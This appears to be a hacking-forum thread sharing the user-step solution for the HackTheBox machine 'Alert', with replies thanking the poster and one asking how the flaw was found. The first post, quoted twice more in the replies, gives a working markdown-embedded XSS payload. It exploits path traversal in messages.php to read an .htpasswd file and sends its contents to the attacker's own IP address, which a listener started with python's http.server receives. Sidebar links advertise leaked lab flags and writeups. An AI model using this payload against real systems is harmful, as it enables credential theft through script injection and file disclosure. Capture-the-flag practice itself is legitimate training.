HTB alert (user)
by SSKK - Thursday November 28, 2024 at 05:44 AM
#1
upload this md file to the alert.htb

<script> fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")   .then(response => response.text())   .then(data => {     fetch("http://10.10.xx.xx:80/?file_content=" + encodeURIComponent(data));   }); </script>

On localhost  -->
python3 -m http.server 80

after clicking on View Markdown click on Share Markdown

then copy the link of that shared markdown url and paste it in the Contact Us page and send it.

you'll get something like this [Image: Screenshot.png]


doneeeee
Reply
#2
thanks for the post explaining this! was stuck here for a bit.
Reply
#3
(11-28-2024, 05:44 AM)SSKK Wrote: upload this md file to the alert.htb

<script> fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")   .then(response => response.text())   .then(data => {     fetch("http://10.10.xx.xx:80/?file_content=" + encodeURIComponent(data));   }); </script>

Hi! How did you discover LFI vulnerability in 'http://alert.htb/messages.php?file='?
Reply
#4
(11-28-2024, 05:44 AM)SSKK Wrote: upload this md file to the alert.htb

<script> fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")   .then(response => response.text())   .then(data => {     fetch("http://10.10.xx.xx:80/?file_content=" + encodeURIComponent(data));   }); </script>

On localhost  -->
python3 -m http.server 80

after clicking on View Markdown click on Share Markdown

then copy the link of that shared markdown url and paste it in the Contact Us page and send it.

you'll get something like this [Image: Screenshot.png]


doneeeee

Thanks man, much appreciated
Ban reason: Leeching | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you feel this is incorrect. (Permanent)
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 106 42,246 10-31-2026, 07:33 PM
Last Post: aistax
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 383 138,766 10-31-2026, 11:47 AM
Last Post: thaytoiyeucoay30nam
  HTB PWN- Oxidized ROP macavitysworld 4 1,053 10-29-2026, 01:01 PM
Last Post: A1Raid3r
  HTB - code + titanic walkthrough | free tony_boom23 3 7,271 10-25-2026, 06:35 AM
Last Post: A1Raid3r
  HTB apt lab note zapot 14 35,543 10-03-2026, 08:09 PM
Last Post: whuuaa



 Users browsing this thread: 1 Guest(s)